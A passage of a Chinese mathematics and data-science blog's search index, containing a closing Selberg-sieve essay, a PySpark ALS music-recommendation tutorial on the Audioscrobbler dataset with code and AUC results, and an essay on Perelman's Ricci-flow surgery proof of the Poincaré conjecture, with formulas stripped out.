当代研究通过将筛法与自守形式、随机矩阵理论结合，探索新的估计途径。\"数学突破往往来自工具的革新而非问题的直接攻坚\" 这一论断恰是对其筛法思想最好的诠释。随着计算数论的发展，塞尔伯格筛法在密码学、伪随机数生成等领域展现出新的活力，延续着从古典数论到现代应用的传奇历程。 总结与展望塞尔伯格筛法以其二次优化的创新思想，将筛法从经验性工具升华为严格的数学理论，其影响远超数论领域。从素数定理的初等证明到 \"1 + 2\" 的突破，从误差控制技术到渐近分析方法，这一方法的每个环节都闪耀着数学思维的深刻洞察。当代数论学者仍在拓展其边界，张益唐在孪生素数猜想研究中使用的 \"有界间距素数\" 方法，本质上是塞尔伯格筛与圆法的精妙结合。 \"数学的进步不在于解决问题，而在于深化理解\"。筛法百年演进的历史表明，真正伟大的数学工具不仅解决特定问题，更重塑了人类思考数学的方式。在黎曼猜想等重大问题悬而未决的今天，塞尔伯格筛法留下的思想遗产，将复杂计数问题转化为优化问题，通过结构分析控制误差，仍将指引数论研究的未来方向。"},{"title":"","date":"2025-09-15T02:40:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/11.html","permalink":"https://blog.mhuig.top/notes/Zeta/11","excerpt":"","text":"Euler 对无穷级数的若干观察 Euler 对无穷级数的若干观察 Variae observationes circa series infinitas de en"},{"title":"","date":"2020-08-02T07:34:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Spark/als.html","permalink":"https://blog.mhuig.top/notes/Spark/als","excerpt":"","text":"ALS 基于 Audioscrobbler 数据集的音乐推荐 (pyspark) 根据用户播放次数数据使用协同过滤算法完成音乐推荐。 数据集Audioscrobbler 数据集 下载 Audioscrobbler 数据集 user_artist_data.txt它包含 141000 个用户和 160 万个艺术家，记录了约 2420 万条用户播放艺术家歌曲的信息，其中包括播放次数信息。播放次数较多意味着该用户更喜欢对应艺术家的作品。 userid artistid playcount 用户 ID 艺术家 ID 播放次数 1000002 1 55 artist_data.txt该文件包含两列： artistid artist_name 艺术家 ID 艺术家名字。文件中给出了每个艺术家的 ID 和对应的名字。此文件用于 ID 与名字的转换。 artistid artist_name 艺术家 ID 艺术家名 1134999 06Crazy Life artist_alias.txt该文件包含两列: badid, goodid 坏 ID 好 ID 。该文件包含已知错误拼写的艺术家 ID 及其对应艺术家的正规的，用于将拼写错误的艺术家 ID 或 ID 变体对应到该艺术家正确的 ID。 badid goodid 坏 ID 好 ID 1092764 1000311 算法交替最小二乘推荐算法 (Alternating Least Squares，ALS)人们虽然经常听音乐，但很少给音乐评分。因此 Audioscrobbler 数据集覆盖了更多的用户和艺术家，也包含了更多的总体信息，虽然单条记录的信息比较少。这种类型的数据通常被称为隐式反馈数据，因为用户和艺术家的关系是通过其他行动隐含体现出来的，而不是通过显式的评分或点赞得到的。 根据两个用户的相似行为判断他们有相同的偏好，学习算法不需要用户和艺术家的属性信息。这类算法通常称为协同过滤算法。 潜在因素模型：试图通过数据相对少的未被观察到的底层原因，来解释大量用户和产品之间可观察到的交互。因子分析方法背后的理论是，有关观测变量之间的相互依赖性的信息可以稍后用于减少数据集中的变量集。 矩阵分解模型：数学上，算法把用户和产品数据当成一个大矩阵 R，矩阵第 i 行和第 j 列上的元素有值，代表用户 i 播放过艺术家 j 的音乐。矩阵 R 是稀疏的：R 中大多数元素都是 0，因为相对于所有可能的用户 - 艺术家组合，只有很少一部分组合会出现在数据中。算法将 R 分解为两个小矩阵 U 和 P 的乘积。矩阵 U 和矩阵 P 非常 “瘦”。因为 A 有很多行和列，但 U 和 P 的行很多而列很少（列数用 k 表示）。这 k 个列就是潜在因素，用于解释数据中的交互关系。由于 k 的值小，矩阵分解算法只能是某种近似。 为了使低秩矩阵 P 和 U 尽可能的逼近 R，可以通过最小化如下损失函数 L 来完成。 损失函数公式与上图对应：表示用户 i 的偏好隐含向量，表示艺术家 j 包含的隐含特征向量，表示用户 i 对艺术家 j 的评分，是用户 i 对艺术家 j 评分的近似。其中 λ 是正则化项的系数，损失函数一般需要加入正则化项来避免过拟合等问题。 于是就简化为一个最小化损失函数 L 的优化问题。用户 - 特征矩阵和特征 - 艺术家矩阵的乘积的结果是对整个稠密的用户 - 艺术家相互关系矩阵的完整估计。该乘积可以理解成艺术家与其属性之间的一个映射，然后按用户属性进行加权。 通常没有确切的解，因为 U 和 P 通常不够大，不足以完全表示 R， 应该尽可能逼近 R。然而不幸的是，想直接同时得到 U 和 P 的最优解是不可能的。 如果 P 已知，求 U 的最优解是非常容易的，反之亦然。但 P 和 U 事先都是未知的。 虽然 P 是未知的，但可以把 P 初始化为随机行向量矩阵。接着运用简单的线性代数，就能在给定 R 和 P 的条件下求出 U 的最优解。实际上，U 的第 i 行是 R 的第 i 行和 P 的函数。 因此可以很容易分开计算 U 的每一行。因为 U 的每一行可以分开计算，所以我们可以将其并行化，而并行化是大规模计算的一大优点。 ALS 是求解的著名算法，固定 P 或 U 对其对应的隐含向量求偏导数并令导数为 0，得到求解公式： 随机对 P、Q 初始化，随后交替进行优化直到收敛。收敛标准是均方误差小于预定义阈值，或者到达最大迭代次数。 推荐质量评价指标 AUCAUC 指标是一个 [0,1] 之间的实数，代表如果随机挑选一个正样本和一个负样本，分类算法将这个正样本排在负样本前面的概率。值越大，表示分类算法更有可能将正样本排在前面，也即算法准确性越好。 随机抽出一对样本（一个正样本，一个负样本），然后用训练得到的分类器来对这两个样本进行预测，预测得到正样本的概率大于负样本概率的概率。正样本负样本在有 M 个正样本, N 个负样本的数据集里。一共有 M×N 对样本（一对样本，一个正样本与一个负样本）。统计这 M×N 对样本里，正样本的预测概率大于负样本的预测概率的个数。正样本负样本其中， 实验过程数据预处理artist_data.txt 文件 数据最终处理成以逗号分割 artist_data.txt 文件 两列之间的间隔有的是空格有的是 Tab，第二列数据中包含空格 因第二列数据中含有逗号和空格，数据最终处理成以 Tab 分割 去除第一列不是数字的行 artist_alias.txt 文件 将拼写错误的艺术家 ID 或 ID 变体对应到该艺术家的规范 ID 两列之间的间隔有的是空格有的是 Tab 包含数据缺失的列 在数据处理时对拼写错误 ID 进行映射，用别名数据集将所有的艺术家 ID 转换成正规 ID。 aa={}with open(\"/export/work/F/1/data/artist_alias.txt\") as f: line = f.readline() while line: if len(line.split())==2: aa[line.split()[0]]=line.split()[1] line = f.readline()f3=open(\"/export/work/F/1/data/user_artist_data.txt.data\",\"w+\")with open(\"/export/work/F/1/data/user_artist_data.txt\") as f2: line = f2.readline() while line: it=line.split() if it[1] in aa: it[1]=aa[it[1]] print(it[0]+\",\"+it[1]+\",\"+it[2],file=f3) line = f2.readline()f3.close()f5=open(\"/export/work/F/1/data/artist_data.txt.data\",\"w+\")with open(\"/export/work/F/1/data/artist_data.txt\") as f4: line = f4.readline() while line: it=line.split() s=\"\" for i in range(len(it)): s+=it[i] if i==0: s+=\" \" elif i==len(it)-1: s+=\"\" else: s+=\" \" print(s,file=f5) line = f4.readline()f7=open(\"/export/work/F/1/data/artist_data.txt.data2\",\"w+\")with open(\"/export/work/F/1/data/artist_data.txt.data\") as f6: line = f6.readline() while line: it=line.split(\" \") try: a=int(it[0]) print(str(a)+\" \"+it[1],file=f7,end=\"\") except: pass line = f6.readline() 预处理后得到的数据集 artist_data user_artist_data 获取数据文件，并上传至 HDFS 读入数据，转换成 DataFrame 备用from pyspark.sql.types import Rowfrom pyspark.sql.types import StructTypefrom pyspark.sql.types import StructFieldfrom pyspark.sql.types import StringType,IntegerTypefrom pyspark.conf import SparkConffrom pyspark import SparkContextfrom pyspark.sql.session import SparkSession# 转换成DataFramename1=[\"user\", \"item\", \"rating\"]name2=[\"id\",\"name\"]conf = SparkConf().setAppName(\"applicaiton\").set(\"spark.executor.heartbeatInterval\",\"500000\").set(\"spark.network.timeout\",\"500000\")sc = SparkContext.getOrCreate(conf)spark = SparkSession(sc)uaRDD = sc.textFile(\"/1/user_artist_data.txt.data\")fields = list(map( lambda fieldName : StructField(fieldName, IntegerType(), nullable = True), name1))schema = StructType(fields)rowRDD = uaRDD.map(lambda line : line.split(\",\")).map(lambda attr : Row(int(attr[0]),int(attr[1]),int(attr[2])))uaDF = spark.createDataFrame(rowRDD, schema)aRDD = sc.textFile(\"/1/artist_data.txt.data2\")fields = list(map( lambda fieldName : StructField(fieldName, IntegerType(), nullable = True) if fieldName==\"id\" else StructField(fieldName, StringType(), nullable = True) , name2))schema = StructType(fields)rowRDD =aRDD.map(lambda line : line.split(\" \")).map(lambda attr : Row(int(attr[0]),attr[1]))aDF = spark.createDataFrame(rowRDD, schema) 展示数据格式基本统计信息数据格式 uaDF.show()+-------+-------+------+| user| item|rating|+-------+-------+------+|1000002| 1| 55||1000002|1000006| 33||1000002|1000007| 8||1000002|1000009| 144||1000002|1000010| 314||1000002|1000013| 8||1000002|1000014| 42||1000002|1000017| 69||1000002|1000024| 329||1000002|1000025| 1||1000002|1000028| 17||1000002|1000031| 47||1000002|1000033| 15||1000002|1000042| 1||1000002|1000045| 1||1000002|1000054| 2||1000002|1000055| 25||1000002|1000056| 4||1000002|1000059| 2||1000002|1000062| 71|+-------+-------+------+only showing top 20 rows 基本统计信息用户数 a=uaDF.select(uaDF.user).distinct().count()print(a)148111 艺术家数目 b=uaDF.select(uaDF.item).distinct().count()print(b)1568126 每用户平均播放次数 uaDF.drop(\"item\").groupBy(\"user\").agg({\"rating\":\"mean\"}).show()+-------+------------------+| user| avg(rating)|+-------+------------------+|1000190|55.355432780847146||1001043|6.0131578947368425||1001129| 12.32748538011696||1001139| 8.652557319223986||1002431|12.833333333333334||1002605|3.5392670157068062||1004666| 9.79409594095941||1005158|1.9245283018867925||1005439|28.333333333333332||1005697|11.733333333333333||1005853| 2.5||1007007| 2.443396226415094||1007847|14.333333333333334||1008081|31.232876712328768||1008233| 90.0||1008804| 9.0||1009408| 4.666666666666667||1012261|3.2887640449438202||1015587| 9.46||1016416| 8.241935483870968|+-------+------------------+only showing top 20 rows 每艺术家平均播放次数 uaDF.drop(\"user\").groupBy(\"item\").agg({\"rating\":\"mean\"}).show()+-------+------------------+| item| avg(rating)|+-------+------------------+|1001129|10.578309692671395||1003373|2.3333333333333335||1007972|18.156831042845596||1029443| 20.54196642685851||1076507| 2.969264544456641||1318111|5.6902654867256635|| 833| 9.483282674772036||1239413| 3.821794871794872||1000636| 2.0||1002431|1.7142857142857142||1005697| 3.5||1040360| 1.0||1043263|1.9166666666666667||1245208|19.613390928725703|| 463| 34.3479262672811||1043126|14.580645161290322||1001601| 3.573529411764706||1091589| 2.5||1004021| 6.96403785488959||1012885| 4.744927536231884|+-------+------------------+only showing top 20 rows 构建 ALS 模型构建 ALS 模型，并记录所耗时间。初始参数：Rank 10, maxiter 15, RegParm 0.01 Alpha 1.0。 from pyspark.ml.recommendation import ALS,ALSModelimport randomimport timestart = time.time()als = ALS(rank=10,maxIter=15,regParam=0.01,alpha=1.0,seed=int(random.random()*100))model=als.fit(uaDF)end = time.time()print (\"时间:\"+str(end-start)) 输出结果： 时间:785.1817960739136 这样我们就构建了一个 ALSModel 模型。 模型用两个不同的 DataFrame，它们分别表示 “用户 - 特征” 和 “产品 - 特征” 这两个大型矩阵。 检查推荐结果依据构建的模型，选择部分 ID 检查推荐结果。 看看模型给出的艺术家推荐直观上是否合理，检查一下用户播放过的艺术家，然后看看模型向用户推荐的艺术家。具体来看看用户 2093760 的例子。 userID = 2093760a=uaDF.rdd.filter(lambda x:x[0]==userID).collect() 查看用户输出结果： [Row(user=2093760, item=1180, rating=1), Row(user=2093760, item=1255340, rating=3), Row(user=2093760, item=378, rating=1), Row(user=2093760, item=813, rating=2), Row(user=2093760, item=942, rating=7)] 获取艺术家 ID： artistid=[]for i in a: artistid.append(i.item) 输出结果： [1180, 1255340, 378, 813, 942] 要提取该用户收听过的艺术家 ID 并打印他们的名字，这意味着先在输入数据中搜索该用户收听过的艺术家的 ID，然后用这些 ID 对艺术家集合进行过滤，这样我们就可以获取并按序打印这些艺术家的名字： b=aDF.rdd.filter(**lambda** x: x[0] **in** artistid).collect() 输出结果： [Row(id=1180, name='David Gray'), Row(id=378, name='Blackalicious'), Row(id=813, name='Jurassic 5'), Row(id=1255340, name='The Saw Doctors'), Row(id=942, name='Xzibit')] 用户播放过的艺术家既有大众流行音乐风格的也有嘻哈风格的。 使用 Spark2.4.6 自带的 recommendForUserSubset 方法，对所有艺术家评分，并返回向用户 2093760 推荐其中分值最高的前 5 位。 d=sc.parallelize([(2093760,1)]).toDF(['user']) t=model.recommendForUserSubset(d,5) t.show() 输出结果： +-------+--------------------+ | user| recommendations|+-------+--------------------+|2093760|[[6674945, 4997.0...|+-------+--------------------+ 遍历打印一下： t.select(\"recommendations\").rdd.foreach(**lambda** x:**print**(x)) 输出： Row(recommendations=[ Row(item=6674945, rating=4997.056640625), Row(item=1170225, rating=1805.596435546875), Row(item=1153293, rating=1753.0908203125), Row(item=6730413, rating=1233.61767578125), Row(item=183, rating=1169.90234375)]) 结果全部是嘻哈风格。能看出，这些推荐都不怎么样。虽然推荐的艺术家都受人欢迎，但好像并没有针对用户的收听习惯进行个性化。 训练 - 验证切分训练 - 验证切分，采用初始参数，重新训练模型。 为了利用输入数据，需要把它分成训练集和验证集。训练集只用于训练 ALS 模型，验证集用于评估模型。这里将 90% 的数据用于训练，剩余的 10% 用于交叉验证： train,test=uaDF.randomSplit([0.9,0.1])als = ALS(rank=10,maxIter=15,regParam=0.01,alpha=1.0,seed=int(random.random()*100),implicitPrefs=True)model=als.fit(train)train.cache()test.cache() 计算 AUC接受一个交叉验证集和一个预测函数，交叉验证集代表每个用户对应的 “正面的” 或 “好的” 艺术家。预测函数把每个包含 “用户 - 艺术家” 对的 DataFrame 转换为一个同时包含 “用户 - 艺术家” 和 “预测” 的 DataFrame，“预测” 表示 “用户” 与 “艺术家” 之间关联的强度值，这个值越高，代表推荐的排名越高。 allArtistIDs = uaDF.select(\"item\").distinct().collect()import numpyallArtistID = []for i in range(len(allArtistIDs)): allArtistID.append(allArtistIDs[i][\"item\"])def f(a,b): posItemIDSet = set(list(b)) negative = [] i = 0 while (i < len(allArtistID)) and (len(negative) < len(posItemIDSet)): artistID = allArtistID[numpy.random.randint(1, high=len(allArtistID), size=None, dtype='l')] if artistID not in posItemIDSet: negative.append(artistID) i += 1 s=list() for i in negative: s.append((a,i)) return s# 计算AUCimport pyspark.sql.functions as funcdef areaUnderCurve(positiveData,allArtistIDs,predictFunction): positivePredictions = predictFunction(positiveData.select(\"user\", \"item\")).withColumnRenamed(\"prediction\", \"positivePrediction\") negativeDatatmp = positiveData.select(\"user\", \"item\").rdd.groupByKey().map(lambda x: f(x[0],x[1])).collect() negativeDatalist=[] for i in negativeDatatmp: for j in i: negativeDatalist.append(j) negativeData=spark.createDataFrame(negativeDatalist,['user','item']) negativePredictions = predictFunction(negativeData.select(\"user\", \"item\")).withColumnRenamed(\"prediction\", \"negativePrediction\") joinedPredictions = positivePredictions.join(negativePredictions, \"user\").select(\"user\", \"positivePrediction\", \"negativePrediction\") allCounts = joinedPredictions.groupBy(\"user\").agg(func.count(func.lit(1)).alias(\"total\")).select(\"user\", \"total\") correctCounts = joinedPredictions.filter(joinedPredictions[\"positivePrediction\"] > joinedPredictions[\"negativePrediction\"]).groupBy(\"user\").agg(func.count(\"user\").alias(\"correct\")).select(\"user\", \"correct\") meanAUCtemp = allCounts.join(correctCounts, \"user\", \"left_outer\") meanAUC = meanAUCtemp.select(\"user\", (meanAUCtemp[\"correct\"] / meanAUCtemp[\"total\"]).alias(\"auc\")).agg(func.mean(\"auc\")).first() try: joinedPredictions.unpersist() except: pass return meanAUC mostListenedAUC = areaUnderCurve(test, allArtistIDs, model.transform)print(mostListenedAUC) 输出结果： Row(avg(auc)=0.9098560946043145) 有必要把上述方法和一个更简单方法做一个基准比对。举个例子，考虑下面的推荐方法：向每个用户推荐播放最多的艺术家。这个策略一点儿都不个性化，但它很简单，也可能有效。定义这个简单预测函数并评估它的 AUC 得分： def predictMostListened(data): listenCounts = train.groupBy(\"item\").agg({\"rating\":\"sum\"}).withColumnRenamed(\"sum(rating)\", \"prediction\").select(\"item\", \"prediction\") uaDF.join(listenCounts, [\"item\"], \"left_outer\").select(\"user\", \"item\", \"prediction\") listenCounts = uaDF.groupBy(\"item\").agg({\"rating\":\"sum\"}).withColumnRenamed(\"sum(rating)\", \"prediction\").select(\"item\", \"prediction\") return data.join(listenCounts, [\"item\"], \"left_outer\").select(\"user\", \"item\", \"prediction\")mostListenedAUC = areaUnderCurve(test, allArtistIDs, predictMostListened)print(mostListenedAUC) 输出结果： Row(avg(auc)=0.9578054887285846) 结果得分大约是 0.96。这意味着，对 AUC 这个指标，非个性化的推荐表现已经不错了。然而，我们想要的是得分更高，也就是更为 “个性化” 的推荐。显然这个模型还有待改进。调整超参数，使推荐结果更合理。 选择超参数Rank 可选（5,30）RegParam 可选（4.0,0.0001）,alpha 可选（1.0,40.0）。合计 8 种参数组合。 可以把 rank、regParam 和 alpha 看作模型的超参数。（maxIter 更像是对分解过程使用的资源的一种约束。）这些值不会体现在 ALSModel 的内部矩阵中，这些矩阵只是参数，其值由算法选定。超参数则是构建过程本身的参数。 def TrainALS(rank,regParam,alpha,dir): als = ALS(rank=rank,maxIter=15,regParam=regParam,alpha=alpha,seed=int(random.random()*100),implicitPrefs=True) model=als.fit(train) model.save(\"/model/ALS/Try2/\"+str(dir)) try: model.userFactors.unpersist() model.itemFactors.unpersist() except: pass 构建模型 dir=0for rank in [5,30]: for regParam in [4.0,0.0001]: for alpha in [1.0,40.0]: dir=dir+1 TrainALS(rank,regParam,alpha,dir) 加载模型计算 AUC 得分： try: model=ALSModel.load(\"/model/ALS/Try2/1\") mostListenedAUC = areaUnderCurve(test, allArtistIDs, model.transform) print((mostListenedAUC,(5,4.0,1.0)))except: print((\"ERROR\",(5,4.0,1.0)))try: model=ALSModel.load(\"/model/ALS/Try2/2\") mostListenedAUC = areaUnderCurve(test, allArtistIDs, model.transform) print((mostListenedAUC,(5,4.0,40.0)))except: print((\"ERROR\",(5,4.0,40.0)))try: model=ALSModel.load(\"/model/ALS/Try2/3\") mostListenedAUC = areaUnderCurve(test, allArtistIDs, model.transform) print((mostListenedAUC,(5,0.0001,1.0)))except: print((\"ERROR\",(5,0.0001,1.0)))try: model=ALSModel.load(\"/model/ALS/Try2/4\") mostListenedAUC = areaUnderCurve(test, allArtistIDs, model.transform) print((mostListenedAUC,(5,0.0001,40.0)))except: print((\"ERROR\",(5,0.0001,40.0)))try: model=ALSModel.load(\"/model/ALS/Try2/5\") mostListenedAUC = areaUnderCurve(test, allArtistIDs, model.transform) print((mostListenedAUC,(30,4.0,1.0)))except: print((\"ERROR\",(30,4.0,1.0)))try: model=ALSModel.load(\"/model/ALS/Try2/6\") mostListenedAUC = areaUnderCurve(test, allArtistIDs, model.transform) print((mostListenedAUC,(30,4.0,40.0)))except: print((\"ERROR\",(30,4.0,40.0)))try: model=ALSModel.load(\"/model/ALS/Try2/7\") mostListenedAUC = areaUnderCurve(test, allArtistIDs, model.transform) print((mostListenedAUC,(30,0.0001,1.0)))except: print((\"ERROR\",(30,0.0001,1.0)))try: model=ALSModel.load(\"/model/ALS/Try2/8\") mostListenedAUC = areaUnderCurve(test, allArtistIDs, model.transform) print((mostListenedAUC,(30,0.0001,40.0)))except: print((\"ERROR\",(30,0.0001,40.0))) 输出结果： (Row(avg(auc)=0.9122637924972641), (5, 4.0, 1.0))(Row(avg(auc)=0.9154223563144587), (5, 4.0, 40.0))(Row(avg(auc)=0.9057761909633262), (5, 0.0001, 1.0))(Row(avg(auc)=0.9146676967584815), (5, 0.0001, 40.0))(Row(avg(auc)=0.9230010545570864), (30, 4.0, 1.0))(Row(avg(auc)=0.9275148741094371), (30, 4.0, 40.0))(Row(avg(auc)=0.9125799456221803), (30, 0.0001, 1.0))(Row(avg(auc)=0.9265221600644649), (30, 0.0001, 40.0)) 可以看出 rank = 30，regParam = 4.0，alpha = 40.0 时取得了最优的结果 avg (auc)=0.9275148741094371. 虽然这些值的绝对差很小，但对于 AUC 值来说，仍然具有一定的意义。有意思的是，参数 alpha 取 40 的时候看起来总是比取 1 表现好。这说明了模型在强调用户听过什么时的表现要比强调用户没听过什么时要好。 产生推荐选取 10 个用户展示推荐结果 model=ALSModel.load(\"/model/ALS/Try2/6\")d=sc.parallelize([(2093760,1),(1000002,1),(1006277,1),(1006282,1),(1006283,1),(1006285,1),(1041207,1),(1071489,1),(2025005,1),(2025007,1),]).toDF(['user'])t=model.recommendForUserSubset(d,5)t.select(\"recommendations\").rdd.foreach(lambda x:print(x)) 输出推荐结果： Row(recommendations=[Row(item=1010991, rating=1.1815389394760132), Row(item=1245226, rating=1.139704942703247), Row(item=4629, rating=1.1092422008514404), Row(item=1113701, rating=1.1066040992736816), Row(item=1019715, rating=1.10056471824646)])Row(recommendations=[Row(item=1010921, rating=1.225757122039795), Row(item=1166169, rating=1.1972994804382324), Row(item=1183949, rating=1.184556007385254), Row(item=1082446, rating=1.178223729133606), Row(item=3892, rating=1.1580229997634888)])Row(recommendations=[Row(item=1028958, rating=1.146733283996582), Row(item=1086774, rating=1.1434733867645264), Row(item=1037761, rating=1.1272671222686768), Row(item=1184419, rating=1.1093372106552124), Row(item=1148170, rating=1.1065270900726318)])Row(recommendations=[Row(item=1010295, rating=1.2554553747177124), Row(item=3722, rating=1.2187168598175049), Row(item=1024674, rating=1.2044183015823364), Row(item=1009445, rating=1.099776268005371), Row(item=1018746, rating=1.0894378423690796)])Row(recommendations=[Row(item=1002068, rating=0.9575374126434326), Row(item=1005288, rating=0.9533681273460388), Row(item=2430, rating=0.9476644992828369), Row(item=1002270, rating=0.9428261518478394), Row(item=3909, rating=0.9334102869033813)])Row(recommendations=[Row(item=1034635, rating=0.606441080570221), Row(item=1000107, rating=0.6010327935218811), Row(item=1000024, rating=0.59807950258255), Row(item=4154, rating=0.5966558456420898), Row(item=1000157, rating=0.5944067239761353)])Row(recommendations=[Row(item=1034635, rating=0.290438175201416), Row(item=930, rating=0.2857869565486908), Row(item=4267, rating=0.2853849530220032), Row(item=1205, rating=0.2830250561237335), Row(item=1000113, rating=0.2829856276512146)])Row(recommendations=[Row(item=1002909, rating=1.2324668169021606), Row(item=1653, rating=1.1938585042953491), Row(item=988, rating=1.1880080699920654), Row(item=1003367, rating=1.1807997226715088), Row(item=1009545, rating=1.1761128902435303)])Row(recommendations=[Row(item=1017017, rating=0.8724791407585144), Row(item=1032349, rating=0.8424116373062134), Row(item=1028433, rating=0.8259942531585693), Row(item=1240603, rating=0.8185747265815735), Row(item=1029602, rating=0.8147093653678894)])Row(recommendations=[Row(item=1013187, rating=1.2516499757766724), Row(item=1098360, rating=1.2394661903381348), Row(item=1289948, rating=1.2353206872940063), Row(item=1129243, rating=1.2332189083099365), Row(item=1245184, rating=1.1997216939926147)]) 按照用户顺序将最喜欢的推荐结果输出到文件 def getp(x): f=open(\"/export/work/result\",\"a+\") print(x,file=f)u=uaDF.select(\"user\").distinct()t=model.recommendForUserSubset(u,1)t.rdd.foreach(lambda x:getp(x)) 推荐输出详见 result 文件，以下为部分推荐输出： Row(user=1000092, recommendations=[Row(item=1002400, rating=1.2386927604675293)]) Row(user=1000144, recommendations=[Row(item=5221, rating=1.1728830337524414)]) Row(user=3175, recommendations=[Row(item=1022207, rating=0.282743901014328)]) Row(user=1000164, recommendations=[Row(item=1034635, rating=0.36578264832496643)]) Row(user=7340, recommendations=[Row(item=1007903, rating=0.8722475171089172)])"},{"title":"","date":"2026-01-02T09:07:00.000Z","updated":"2026-01-02T09:10:00.000Z","comments":true,"path":"notes/Zeta/110.html","permalink":"https://blog.mhuig.top/notes/Zeta/110","excerpt":"","text":"庞加莱猜想与奇点手术 庞加莱猜想与奇点手术：三维流形拓扑的突破性方法 庞加莱猜想作为拓扑学的核心问题，自 1904 年提出以来困扰数学界近百年。其核心断言：任一单连通的封闭三维流形必与三维球面同胚，这一简洁表述背后隐藏着三维流形分类的深刻规律。2003 年佩雷尔曼（Grigori Perelman）通过里奇流（Ricci Flow）结合奇点手术技术的开创性工作，不仅彻底解决了这一难题，更开创了几何分析与低维拓扑交叉的全新研究方法。 历史背景与理论框架从庞加莱到瑟斯顿：拓扑学的几何化转向庞加莱最初在研究代数拓扑不变量时提出这一猜想，试图通过基本群判断三维流形是否为球面。早期证明尝试多依赖组合拓扑方法，如德恩引理（Dehn's Lemma）和三叶结分类，但均未能触及问题本质。直到 20 世纪 80 年代，瑟斯顿（William Thurston）提出几何化纲领，将三维流形分类问题转化为几何结构的存在性问题，才为解决庞加莱猜想指明方向。该纲领断言：任一紧致三维流形可分解为素流形的连通和，每个素流形上赋予八种标准几何结构之一。庞加莱猜想正是几何化纲领的特殊情形，即当流形分解仅含三维球面时的结论。 瑟斯顿的几何化思想受到二维曲面单值化定理的启发：任何闭曲面都存在常曲率度量，包括球面、欧氏或双曲几何。但三维情形的复杂性在于标准几何结构从 3 种增至 8 种，且度量与初始度量不再具有共形等价关系。关键挑战在于：如何为给定三维流形找到对应的标准几何度量？这一问题最终通过里奇流这一几何分析工具得到解决。 里奇流：从曲率演化到几何标准化1982 年，哈密顿（Richard Hamilton）受热方程扩散过程的启发，提出里奇流概念：让黎曼度量随时间演化，其变化率等于里奇曲率张量。具体而言，这一演化过程可表述为： 这一方程类比于热流方程，使流形曲率像热量一样扩散，最终可能收敛到常曲率度量。哈密顿通过冲浪时观察浪涛撞击礁石的物理过程获得灵感：将度量张量类比温度场，曲率对应温度梯度，通过非线性热方程使曲率趋于均匀。他证明了里奇流在紧致流形上的短时间存在性，并成功将其应用于正曲率三维流形的分类。 但三维里奇流面临致命障碍：有限时间奇点的出现，即在某些点处曲率会在有限时间内趋于无穷，导致流无法继续。典型奇点包括瓶颈型和雪茄型奇点，前者表现为流形局部收缩成细颈，后者则是孤立点处曲率剧烈集中。哈密顿虽证明了正曲率流形不会出现雪茄型奇点，但对一般情形束手无策，这一困境直到佩雷尔曼引入奇点手术技术才得以突破。 奇点手术的数学原理奇点分析：里奇流的爆破与分类佩雷尔曼在 2002 至 2003 年发表的三篇论文中，首先建立了里奇流奇点的爆破分析方法：当奇点出现时，对时空进行抛物型尺度变换，即把时间和空间坐标按曲率增长率缩放，证明奇点模型必为 解，即具有非负曲率、完备性和 非塌缩性的古代解。通过对 解的分类，他证明三维里奇流的奇点本质上可分为两类： 颈状奇点：局部微分同胚于圆柱 ，曲率沿轴向均匀分布。 帽状奇点：一端为球面帽，另一端连接颈状区域。 关键突破在于证明雪茄型奇点不会出现。通过引入约化体积和 函数等新工具，佩雷尔曼证明具有正 Ricci 曲率的三维流形在里奇流下不会形成孤立奇点。这一结果为后续奇点手术清除了主要障碍。 手术操作：切除奇点与流形重构对颈状奇点的手术处理包含三个关键步骤： 识别奇点区域：当某处出现颈状奇点时，存在半径 使得该区域在尺度 下近似于标准圆柱 ，其中 为颈长。佩雷尔曼证明可选取 颈，也就是与标准圆柱 的 扰动同胚的区域。 切除与缝合：沿奇点区域的两个边界球面 切除该颈部，得到两个带边界的流形。对每个边界球面，缝合一个三维球体 ，得到拓扑结构简化的新流形。 度量修正：在缝合处构造光滑度量过渡，确保新流形满足曲率非负性和 精度截断条件，使里奇流能在新流形上继续演化。 这一过程类似于外科手术中切除病变组织并缝合创口，故称为奇点手术。数学上严格证明需要确保手术过程保持流形的拓扑信息，特别是单连通性；手术后的度量满足曲率控制条件，避免新奇点立即出现；手术次数有限，即经过有限次手术后，流形在里奇流下不再产生奇点。 技术细节与关键推导里奇流的奇点形成机制考虑旋转对称三维流形的里奇流，可将度量表示为 ，其中 是标准球面度量。通过引入变量 ，哈密顿将里奇流方程转化为非线性抛物方程： 其中 是包含 及其导数的非线性算子。研究表明，当 在某点趋于零时，曲率会发散形成奇点。通过分析该方程的自相似解，可证明奇点附近的度规定向行为近似为 。这表明奇点形成时，流形局部呈现瓶颈特征，即颈状奇点的数学描述。 手术参数的精细控制佩雷尔曼引入 非塌缩条件以确保奇点分析的可行性：存在 ，对任意 和 ，若在球 上满足 ，则 。这一条件排除了流形在小尺度下的坍塌，使奇点爆破分析成为可能。 手术过程中需精确选择切除半径 。佩雷尔曼证明存在函数 ，使得当手术区域满足 时，手术后的流形在时间区间 内不会产生新奇点。这一精细估计依赖于障碍函数法，通过构造上下解来控制曲率演化的有界性。 庞加莱猜想的最终证明对单连通闭三维流形 ，佩雷尔曼的证明思路遵循以下步骤： 在 上构造初始黎曼度量，启动里奇流。 当出现奇点时，进行奇点手术，切除奇点区域并缝合三维球体。 重复上述步骤，得到手术化里奇流 。 证明经过有限次手术后， 在里奇流下收敛到常曲率度量，即三维球面 的度量。 关键拓扑论证包括：单连通流形在手术过程中保持单连通性；若流形不是三维球面，则几何化纲领预言其应分解为具有非球面几何的素流形，但单连通性排除了这种分解的可能；里奇流最终收敛到的常曲率单连通闭流形只能是 。 这一推理链将几何分析、拓扑手术与几何化纲领完美结合，构成了庞加莱猜想证明的核心逻辑。 数学意义与后续发展几何分析的范式突破佩雷尔曼的工作开创了微分方程与拓扑学交叉的新范式。通过将里奇流这一几何演化方程与奇点手术的拓扑操作相结合，他展示了如何用动态几何方法解决纯拓扑问题。这一方法论深刻影响了后续数学研究，如四维流形分类、爱因斯坦方程解的存在性等领域。 特别值得注意的是，佩雷尔曼引入的约化体积、 函数和熵泛函等工具，为研究非线性演化方程奇点提供了全新视角。这些概念后来被推广到其他几何流方程，例如凯勒 - 里奇流，并成为几何分析的标准工具。 未解决的挑战与前沿方向尽管庞加莱猜想已获证明，但相关领域仍存在重大开放问题： 里奇流的收敛速度：三维流形在里奇流下收敛到常曲率度量的精确速率尚未确定。 手术过程的算法化：能否找到构造性算法实现奇点手术，用于三维流形的计算机分类？ 